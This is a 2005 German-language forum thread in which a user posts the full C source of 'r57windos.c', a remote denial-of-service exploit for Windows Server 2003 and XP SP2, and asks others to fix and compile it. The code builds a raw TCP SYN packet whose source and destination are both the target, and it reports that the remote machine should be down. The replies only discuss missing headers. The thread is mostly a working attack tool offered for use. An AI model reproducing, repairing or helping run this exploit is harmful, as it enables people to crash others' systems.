c++ code

Dieses Thema im Forum "Programmierung & Entwicklung" wurde erstellt von masterblaster, 9. Juni 2005 .

Schlagworte:
  1. 9. Juni 2005
    hab ein kleines prob mit diesem code, mir fehlen diveerse libs und es sieht wohl so aus als wäre da nochn bus im code.
    kann sich den mal jemand angucken und compilieren, wäre nett

    mfg master

    Code:
     #include <stdio.h>
    #include <ctype.h>
    #include <sys/socket.h>
    #include <netinet/in.h> 
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <sysexits.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdafx.h>
    /*
    Windows Server 2003 and XP SP2 remote DoS exploit
    Tested under OpenBSD 3.6 at WinXP SP 2
    Vuln by Dejan Levaja <dejan_@_levaja.com> , http://security.nnov.ru/docs7998.html
    (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
    Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
    :mad: lamerz: Saint_I, nmalykh, Mr. Clumsy
    All rights reserved.
    */
    
    //checksum function by r0ach
    u_short checksum (u_short *addr, int len)
    {
    u_short *w = addr;
    int i = len;
    int sum = 0;
    u_short answer;
    while (i > 0)
    {
    sum += *w++;
    i-=2;
    }
    if (i == 1) sum += *(u_char *)w;
    sum = (sum >> 16) + (sum & 0xffff);
    sum = sum + (sum >> 16);
    return (~sum);
    }
    int main(int argc, char ** argv)
    {
    struct in_addr src, dst;
    struct sockaddr_in sin;
    struct _pseudoheader {
    struct in_addr source_addr;
    struct in_addr destination_addr;
    u_char zero;
    u_char protocol;
    u_short length;
    } pseudoheader;
    struct ip * iph;
    struct tcphdr * tcph;
    int mysock;
    u_char * packet;
    u_char * pseudopacket;
    int on = 1;
    if( argc != 3)
    {
    fprintf(stderr, "r57windos.c by __blf\n");
    fprintf(stderr, "RusH Security Team\n");
    fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
    return EX_USAGE;
    }
    if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
    {
    perror("malloc()\n");
    return EX_OSERR;
    }
    inet_aton(argv[1], &src);
    inet_aton(argv[1], &dst);
    iph = (struct ip *) packet;
    iph->ip_v = IPVERSION;
    iph->ip_hl = 5;
    iph->ip_tos = 0;
    iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
    iph->ip_off = htons(IP_DF);
    iph->ip_ttl = 255;
    iph->ip_p = IPPROTO_TCP;
    iph->ip_sum = 0;
    iph->ip_src = src;
    iph->ip_dst = dst;
    tcph = (struct tcphdr *)(packet +sizeof(struct ip));
    tcph->th_sport = htons(atoi(argv[2]));
    tcph->th_dport = htons(atoi(argv[2]));
    tcph->th_seq = ntohl(rand());
    tcph->th_ack = rand();
    tcph->th_off = 5;
    tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
    tcph->th_win = htons(512);
    tcph->th_sum = 0;
    tcph->th_urp = 0;
    pseudoheader.source_addr = src;
    pseudoheader.destination_addr = dst;
    pseudoheader.zero = 0;
    pseudoheader.protocol = IPPROTO_TCP;
    pseudoheader.length = htons(sizeof(struct tcphdr));
    if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
    {
    perror("malloc()\n");
    return EX_OSERR;
    }
    memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
    memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
    tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
    mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    if(!mysock)
    {
    perror("socket!\n");
    return EX_OSERR;
    }
    if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    {
    perror("setsockopt");
    shutdown(mysock, 2);
    return EX_OSERR;
    }
    sin.sin_family = PF_INET;
    sin.sin_addr = dst;
    sin.sin_port = htons(80);
    if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
    perror("sendto()\n");
    shutdown(mysock, 2);
    return EX_OSERR;
    }
    printf("Packet sent. Remote machine should be down.\n");
    shutdown(mysock, 2);
    return EX_OK;
    } 
    
     
  2. 10. Juni 2005
    Kann es zufällig sein, das du das mit irgendeiner Umgebung in Windoof kompilieren willst?
     
  3. 10. Juni 2005
    Also wenn man ein Proggy schreibt, sollte man schon wissen ob man alle Header hat...

    Mir fehlt der "<sys/socket.h>" kann daher leider nicht mehr zu dem Programm sagen als das es ziemlich schlecht bzw unsauber geschrieben ist

    Kannst ja mal gucken ob du ihn bei google findest! Fals er dir auch fehlt...
    google
     
  4. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.